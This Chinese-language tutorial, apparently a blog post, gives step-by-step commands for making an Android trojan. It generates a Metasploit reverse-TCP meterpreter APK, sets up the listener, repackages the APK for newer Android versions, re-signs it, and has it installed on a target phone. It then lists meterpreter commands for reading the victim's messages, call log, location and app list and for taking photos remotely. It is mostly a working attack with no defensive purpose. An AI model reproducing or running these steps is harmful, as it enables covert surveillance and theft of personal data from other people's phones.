前期准备
1.需要安装好kali的虚拟机
2.在Windows电脑上需要配置Java环境变量
具体实现
一.生成安卓木马
打开终端输入 ifconfig 查看本机的IP
由于kali是运行在虚拟机上的,所以虚拟机上显示的IP并不能直接使用,需要进行端口映射的相关配置,比较麻烦,这里可以查看相关文章进行配置 ,也可以外接一张网卡直接连到kali上,这样就可以直接使用网卡的IP
以root身份运行 msfconsole打开msf
输入以下这段命令,生成安卓的apk攻击文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10(输入kali上的ip) LPORT=5555(监听端口,这里使用的是5555端口) R > /home/kali/sdf.apk(生成apk木马的名称和保存路径)
此时会在/home/kali文件下生成.apk文件
二.配置攻击载荷
输入以下命令
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.1.10 //和之前生成木马的IP一样
set LPORT 5555 //和之前生成木马的端口一样
run
此刻我们就已经配置完成了
如果这时将生成的木马在安卓手机上运行时会报以下错误
这是由于msf生成的安卓木马过于老旧,无法在新版安卓手机上运行
三.对.apk文件进行反编译
我们可以通过反编译的方法使是安卓手机能够运行我们的木马程序,废话不多说,开干!
用到的反编译工具是apktool, 可以在官方网站上下载,官方网址是:https://ibotpeaches.github.io/Apktool/
此时将我们生成的安卓木马移动的Windows上来,并且和下载好的apktool放在同一文件夹下,这样方便操作,因为apktool是一个.jar文件,需要Windows电脑上配置java的环境变量,具体如何配置,请参考相关文章,这里不在多说
在此文件夹下打开cmd,输入以下命令进行反编译
java -jar apktool_2.7.0.jar(即你的apktool的名称) d -f pdf.apk(你的apk的名称) -o ghj(存放反编译后代码的文件名称,没有会在当前目录自动生成)
双击打开发编译后生成的文件夹,找到一个以.yml为后缀的文件
双击用记事本打开,找到这两行
将10改成16,17改成23,保存并退出
接着,要重新打包生成未签名的包 ,输入命令
java -jar apktool_2.7.0.jar b sdf(存放反编译代码的文件名称) -o rtf.apk(打包生成apk的名称)
此时的apk文件由于还没有签名,还不能下载运行,所以要进行签名,这里使用的是java自带的标准库keytool先来生成签名证书,输入命令
keytool -genkeypair -alias sss(签名证书的别名) -keyalg RSA -validity 100 -keystore sss.jks
最后对apk文件进行签名,输入命令
jarsigner -verbose -keystore sss.jks(签名文件的名称) -signedjar hhh.apk(要生成签名包的名称) rtf.apk(未签名的包名称) sss(签名证书的别名)
将最后生成的这个木马文件发送到手机上并下载安装并运行
四.对手机进行渗透攻击
如果出现以下情况则代表已经成功渗透了安卓手机,可以开始对手机发起攻击了
1.查看对方手机的短信
dump_sms
2.获取对方手机的GPS定位
geolocate
3.查看对方手机的通讯录
dump_calllog
4.查看对方手机安装了哪些app
app_list
5.远程控制对方手机拍摄一张照片
webcam_snap
6.查看对方手机信息
sysinfo
输入命令help,可以查看帮助文档,获取更多功能
感谢各位大佬指点